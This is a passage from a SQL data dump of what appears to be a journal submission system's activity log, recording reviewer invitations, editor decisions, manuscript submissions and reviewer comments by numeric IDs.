Invited Reviewer',9801,'Publisher',75),(93265,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9801,'Publisher',75),(93266,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9801,'Publisher',75),(93281,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',9866,'Publisher',319),(93306,'0000-00-00 00:00:00','Publisher : Notified Editor',9517,'Publisher',85),(93307,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',9517,'Editor',1251),(93308,'0000-00-00 00:00:00','Editor has been Revise (Notify Author) article',9517,'Editor',1251),(93309,'0000-00-00 00:00:00','Publisher : Notified Author',9517,'Publisher',85),(93310,'0000-00-00 00:00:00','Publisher has been Assigned Editor',9811,'Publisher',85),(93360,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9811,'Publisher',85),(93361,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9811,'Publisher',85),(93362,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9811,'Publisher',85),(93363,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9811,'Publisher',85),(93364,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9811,'Publisher',85),(93365,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9811,'Publisher',85),(93366,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9811,'Publisher',85),(93367,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9811,'Publisher',85),(93368,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9811,'Publisher',85),(93369,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9811,'Publisher',85),(93370,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9811,'Publisher',85),(93371,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9811,'Publisher',85),(93372,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9811,'Publisher',85),(93373,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9811,'Publisher',85),(93374,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9811,'Publisher',85),(93375,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9811,'Publisher',85),(93376,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9811,'Publisher',85),(93377,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9811,'Publisher',85),(93378,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9811,'Publisher',85),(93379,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9811,'Publisher',85),(93380,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9811,'Publisher',85),(93381,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9811,'Publisher',85),(93383,'0000-00-00 00:00:00','Reviewer has submitted comments',9801,'Reviewer',19522),(93385,'0000-00-00 00:00:00','Author sent Email',8766,'Author',9821),(93399,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9772,'Publisher',972),(93400,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9772,'Publisher',972),(93401,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9772,'Publisher',972),(93402,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9772,'Publisher',972),(93403,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9772,'Publisher',972),(93405,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',9801,'Editor',161),(93406,'0000-00-00 00:00:00','Editor has been Revise (Notify Author) article',9801,'Editor',161),(93407,'0000-00-00 00:00:00','Publisher : Notified Author',9801,'Publisher',75),(93540,'0000-00-00 00:00:00','Author sent Email',8043,'Author',9222),(93613,'0000-00-00 00:00:00','Publisher : Notified Editor',9641,'Publisher',274),(93626,'0000-00-00 00:00:00','Publisher : Notified Author',8837,'Publisher',274),(93628,'0000-00-00 00:00:00','Publisher : Notified Author',9235,'Publisher',274),(93630,'0000-00-00 00:00:00','Publisher : Notified Author',9340,'Publisher',274),(93632,'0000-00-00 00:00:00','Publisher : Notified Author',9340,'Publisher',274),(93642,'0000-00-00 00:00:00','Publisher has been Assigned Editor',9866,'Publisher',319),(93643,'0000-00-00 00:00:00','Publisher has been Assigned Editor',9856,'Publisher',319),(93694,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',9903,'Author',10690),(93708,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',9210,'Publisher',85),(93724,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',6681,'Editor',194),(93726,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',6665,'Editor',194),(93727,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',6663,'Editor',194),(93729,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',6557,'Editor',194),(93730,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',6557,'Editor',194),(93731,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',6808,'Editor',194),(93733,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',6761,'Editor',194),(93734,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',6759,'Editor',194),(93736,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',6751,'Editor',194),(93738,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',9267,'Editor',194),(93739,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',9267,'Editor',194),(93740,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',9375,'Editor',194),(93741,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',9375,'Editor',194),(93742,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',9394,'Editor',194),(93751,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',9743,'Editor',1069),(93752,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',9744,'Editor',1069),(93753,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',9745,'Editor',1069),(93754,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',9856,'Editor',1069),(93755,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',9866,'Editor',1069),(93756,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',9743,'Editor',1069),(93757,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',9744,'Editor',1069),(93758,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',9745,'Editor',1069),(93759,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',9856,'Editor',1069),(93760,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',9866,'Editor',1069),(93761,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',9743,'Publisher',319),(93762,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',9744,'Publisher',319),(93767,'0000-00-00 00:00:00','Reviewer has submitted comments',8911,'Reviewer',16861),(93768,'0000-00-00 00:00:00','Reviewer has submitted comments',7494,'Reviewer',16861),(93769,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8911,'Editor',1674),(93772,'0000-00-00 00:00:00','Reviewer has submitted comments',8571,'Reviewer',10251),(93774,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8571,'Editor',1324),(93776,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8571,'Editor',1324),(93778,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',9451,'Publisher',248),(93782,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',9815,'Editor',222),(93783,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',9775,'Editor',222),(93784,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',9815,'Editor',222),(93785,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',9775,'Editor',222),(93786,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',7494,'Publisher',248),(93787,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8914,'Editor',222),(93788,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',9081,'Publisher',248),(93789,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',9745,'Publisher',319),(93790,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',9745,'Publisher',319),(93791,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',9745,'Publisher',319),(93792,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',9856,'Publisher',319),(93793,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',9866,'Publisher',319),(93794,'0000-00-00 00:00:00','Manuscript Updated',9744,'Publisher',319),(93795,'0000-00-00 00:00:00','Manuscript Updated',9745,'Publisher',319),(93796,'0000-00-00 00:00:00','Manuscript Updated',9856,'Publisher',319),(93808,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',9910,'Author',10697),(93821,'0000-00-00 00:00:00','Reviewer has submitted comments',9179,'Reviewer',17211),(93822,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',9179,'Editor',1324),(93823,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',9179,'Editor',1324),(93824,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9813,'Publisher',48),(93825,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9813,'Publisher',48),(93826,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9813,'Publisher',48),(93827,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9813,'Publisher',48),(93836,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',9911,'Author',10698),(93961,'0000-00-00 00:00:00','Reviewer has submitted comments',9538,'Reviewer',19372),(93963,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',9538,'Editor',1370),(93964,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',9538,'Editor',1370),(93965,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',9538,'Publisher',673),(93974,'0000-00-00 00:00:00','Reviewer has submitted comments',9775,'Reviewer',16023),(93976,'0000-00-00 00:00:00','Reviewer has submitted comments',9179,'Reviewer',17204),(94057,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',9381,'Editor',1394),(94058,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',9381,'Editor',1394),(94065,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',9815,'Publisher',84),(94068,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',9381,'Publisher',85),(94069,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9811,'Publisher',85),(94070,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9811,'Publisher',85),(94071,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9811,'Publisher',85),(94072,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9811,'Publisher',85),(94073,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9811,'Publisher',85),(94074,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9811,'Publisher',85),(94075,'0000-00-00 00:00:00','Publisher : Notified Author',9517,'Publisher',85),(94076,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8872,'Publisher',85),(94077,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8872,'Publisher',85),(94078,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8872,'Publisher',85),(94079,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8872,'Publisher',85),(94080,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8872,'Publisher',85),(94081,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8872,'Publisher',85),(94082,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8872,'Publisher',85),(94083,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8872,'Publisher',85),(94084,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8872,'Publisher',85),(94085,'0000-00-00 00:00:00','Publisher : Notified Author',8594,'Publisher',85),(94086,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8660,'Publisher',85),(94087,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8660,'Publisher',85),(94088,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8660,'Publisher',85),(94089,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8660,'Publisher',85),(94090,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8660,'Publisher',85),(94093,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',9934,'Author',10711),(94178,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',8633,'Publisher',984),(94184,'0000-00-00 00:00:00','Publisher has been Assigned Editor',9603,'Publisher',376),(94186,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',9603,'Editor',1705),(94187,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',9603,'Editor',1705),(94218,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',9277,'Editor',1668),(94221,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',9277,'Editor',1668),(94297,'0000-00-00 00:00:00','Publisher has been Assigned Editor',9903,'Publisher',673),(94329,'0000-00-00 00:00:00','Manuscript Submitted by Author',9944,'Author',8963),(94337,'0000-00-00 00:00:00','Publisher has been Assigned Editor',9910,'Publisher',48),(94338,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',9452,'Publisher',248),(94346,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',9381,'Publisher',85),(94351,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',9210,'Publisher',85),(94353,'0000-00-00 00:00:00','Publisher : Notified Author',9517,'Publisher',85),(94380,'0000-00-00 00:00:00','Manuscript has been Revised',8837,'Author',9878),(94381,'0000-00-00 00:00:00','Manuscript has been Revised',8837,'Author',9878),(94382,'0000-00-00 00:00:00','Reviewer has submitted comments',9811,'Reviewer',9532),(94383,'0000-00-00 00:00:00','Reviewer has updated comments',9811,'Reviewer',9532),(94384,'0000-00-00 00:00:00','Reviewer has updated comments',9811,'Reviewer',9532),(94385,'0000-00-00 00:00:00','Reviewer has updated comments',9811,'Reviewer',9532),(94393,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',9954,'Publisher',376),(94449,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9910,'Publisher',48),(94450,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9910,'Publisher',48),(94451,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9910,'Publisher',48),(94467,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',9955,'Publisher',376),(94468,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',9543,'Editor',194),(94469,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',9543,'Editor',194),(94470,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',9611,'Editor',194),(94471,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',9611,'Editor',194),(94494,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8660,'Publisher',85),(94495,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8660,'Publisher',85),(94496,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8660,'Publisher',85),(94497,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8660,'Publisher',85),(94498,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8660,'Publisher',85),(94502,'0000-00-00 00:00:00','Manuscript Submitted by Author',9959,'Author',10726),(94503,'0000-00-00 00:00:00','Publisher has been Assigned Editor',9934,'Publisher',48),(94504,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',9960,'Publisher',48),(94517,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',9961,'Publisher',376),(94520,'0000-00-00 00:00:00','Publisher has been Assigned Editor',9911,'Publisher',645),(94522,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9903,'Publisher',673),(94523,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9903,'Publisher',673),(94525,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9903,'Publisher',673),(94526,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9903,'Publisher',673),(94527,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9903,'Publisher',673),(94528,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9903,'Publisher',673),(94530,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9903,'Publisher',673),(94531,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9903,'Publisher',673),(94532,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9903,'Publisher',673),(94533,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9903,'Publisher',673),(94534,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9903,'Publisher',673),(94535,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9903,'Publisher',673),(94536,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9903,'Publisher',673),(94537,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9903,'Publisher',673),(94538,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9903,'Publisher',673),(94561,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',9641,'Editor',1659),(94562,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',9641,'Publisher',274),(94563,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',9641,'Publisher',274),(94564,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',8571,'Publisher',972),(94577,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',9543,'Publisher',48),(94578,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',9611,'Publisher',48),(94659,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',9394,'Publisher',48),(94660,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9934,'Publisher',48),(94661,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9934,'Publisher',48),(94662,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9934,'Publisher',48),(94663,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9934,'Publisher',48),(94664,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9934,'Publisher',48),(94689,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',9973,'Author',10740),(94732,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',9976,'Publisher',48),(94735,'0000-00-00 00:00:00','Publisher has been Assigned Editor',9960,'Publisher',48),(94736,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9960,'Publisher',48),(94737,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9960,'Publisher',48),(94738,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9960,'Publisher',48),(94739,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9960,'Publisher',48),(94740,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9611,'Publisher',48),(94741,'0000-00-00 00:00:00','Reviewer has submitted comments',9611,'Reviewer',11689),(94742,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',9611,'Editor',194),(94743,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',9611,'Publisher',48),(94744,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',9611,'Publisher',48),(94745,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',9611,'Publisher',48),(94795,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',9980,'Author',10745),(94814,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',9984,'Author',10750),(94822,'0000-00-00 00:00:00','Publisher has been Assigned Editor',9961,'Publisher',376),(94823,'0000-00-00 00:00:00','Publisher has been Assigned Editor',9955,'Publisher',376),(94824,'0000-00-00 00:00:00','Publisher has been Assigned Editor',9954,'Publisher',376),(94825,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',9961,'Editor',1705),(94826,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',9961,'Editor',1705),(94827,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',9955,'Editor',1705),(94828,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',9955,'Editor',1705),(94829,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',9954,'Editor',1705),(94830,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',9954,'Editor',1705),(94831,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',9954,'Editor',1705),(94832,'0000-00-00 00:00:00','Publisher has been Assigned Editor',9959,'Publisher',972),(94833,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9959,'Publisher',972),(94834,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9959,'Publisher',972),(94835,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9959,'Publisher',972),(94836,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9959,'Publisher',972),(94844,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9903,'Publisher',673),(94845,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9903,'Publisher',673),(94848,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9903,'Publisher',673),(94849,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9903,'Publisher',673),(94850,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9903,'Publisher',673),(94851,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9903,'Publisher',673),(94852,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9903,'Publisher',673),(94853,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9903,'Publisher',673),(94855,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9903,'Publisher',673),(94856,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9903,'Publisher',673),(94857,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9903,'Publisher',673),(94859,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9903,'Publisher',673),(94860,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9903,'Publisher',673),(94861,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9903,'Publisher',673),(94862,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9903,'Publisher',673),(94937,'0000-00-00 00:00:00','Reviewer has updated comments',9538,'Reviewer',19372),(94938,'0000-00-00 00:00:00','Reviewer has updated comments',9538,'Reviewer',19372),(94939,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',9557,'Publisher',376),(94940,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',9558,'Publisher',376),(94941,'0000-00-00 00:00:00','Reviewer has updated comments',9538,'Reviewer',19372),(94942,'0000-00-00 00:00:00','Reviewer has updated comments',8239,'Reviewer',17878),(94954,'0000-00-00 00:00:00','Manuscript has been Revised',9340,'Author',9202),(94972,'0000-00-00 00:00:00','Reviewer has submitted comments',9543,'Reviewer',11689),(94973,'0000-00-00 00:00:00','Reviewer has updated comments',9543,'Reviewer',11689),(94974,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',9543,'Editor',194),(94976,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',9543,'Publisher',48),(94977,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',9543,'Publisher',48),(94978,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',9543,'Publisher',48),(94979,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',9543,'Publisher',48),(94987,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',9991,'Author',10756),(95015,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9627,'Publisher',48),(95021,'0000-00-00 00:00:00','Reviewer has submitted comments',9627,'Reviewer',11689),(95022,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',9627,'Editor',194),(95023,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',9627,'Editor',194),(95024,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',9627,'Publisher',48),(95025,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',9627,'Publisher',48),(95084,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',9999,'Author',10765),(95087,'0000-00-00 00:00:00','Publisher has been Assigned Editor',9944,'Publisher',84),(95092,'0000-00-00 00:00:00','Publisher has been Assigned Editor',9976,'Publisher',48),(95093,'0000-00-00 00:00:00','Publisher has been Assigned Editor',9973,'Publisher',48),(95104,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9976,'Publisher',48),(95106,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9976,'Publisher',48),(95145,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',10001,'Publisher',48),(95413,'0000-00-00 00:00:00','Publisher has been Assigned Editor',9980,'Publisher',984),(95431,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',10012,'Author',10771),(95457,'0000-00-00 00:00:00','Publisher has Unassign Editor',9959,'Publisher',972),(95477,'0000-00-00 00:00:00','Author sent Email',8766,'Author',9821),(95508,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',10017,'Publisher',48),(95522,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',9650,'Publisher',84),(95524,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9980,'Publisher',984),(95525,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9980,'Publisher',984),(95526,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9980,'Publisher',984),(95527,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9980,'Publisher',984),(95528,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9980,'Publisher',984),(95529,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9980,'Publisher',984),(95530,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9980,'Publisher',984),(95531,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9980,'Publisher',984),(95532,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9980,'Publisher',984),(95533,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9980,'Publisher',984),(95534,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9980,'Publisher',984),(95535,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9980,'Publisher',984),(95536,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9980,'Publisher',984),(95538,'0000-00-00 00:00:00','Publisher : Notified Editor',8836,'Publisher',984),(95547,'0000-00-00 00:00:00','Reviewer has submitted comments',9980,'Reviewer',10967),(95557,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',10023,'Publisher',376),(95574,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',10028,'Publisher',85),(95576,'0000-00-00 00:00:00','Publisher : Notified Editor',9811,'Publisher',85),(95577,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',9811,'Editor',1343),(95578,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',9811,'Editor',1343),(95579,'0000-00-00 00:00:00','Publisher : Notified Author',9517,'Publisher',85),(95597,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',10040,'Publisher',248),(95599,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',9753,'Editor',194),(95600,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',9753,'Editor',194),(95601,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',9813,'Editor',194),(95602,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',9813,'Editor',194),(95603,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',9910,'Editor',194),(95604,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',9910,'Editor',194),(95605,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',9813,'Publisher',48),(95607,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',9910,'Publisher',48),(95611,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',9753,'',1045),(95640,'0000-00-00 00:00:00','Publisher has been Assigned Editor',9998,'Publisher',988),(95643,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9998,'Publisher',988),(95644,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9998,'Publisher',988),(95645,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9998,'Publisher',988),(95646,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9998,'Publisher',988),(95653,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',9713,'Publisher',248),(95672,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',9408,'Publisher',988),(95673,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',9580,'Publisher',988),(95674,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',9665,'Publisher',988),(95675,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',9664,'Publisher',988),(95677,'0000-00-00 00:00:00','Publisher has been Assigned Editor',10001,'Publisher',48),(95678,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10001,'Publisher',48),(95679,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10001,'Publisher',48),(95680,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10001,'Publisher',48),(95681,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10001,'Publisher',48),(95682,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10001,'Publisher',48),(95683,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10001,'Publisher',48),(95707,'0000-00-00 00:00:00','Reviewer has submitted comments',9998,'Reviewer',18830),(95710,'0000-00-00 00:00:00','Reviewer has submitted comments',9663,'Reviewer',18830),(95711,'0000-00-00 00:00:00','Reviewer has updated comments',9663,'Reviewer',18830),(95712,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',9976,'Editor',194),(95713,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',9976,'Editor',194),(95714,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',9960,'Editor',194),(95715,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',9960,'Editor',194),(95716,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',9976,'Publisher',48),(95717,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',9960,'Publisher',48),(95841,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',10055,'Author',10803),(95842,'0000-00-00 00:00:00','Author sent Email',8766,'Author',9821),(95843,'0000-00-00 00:00:00','Author sent 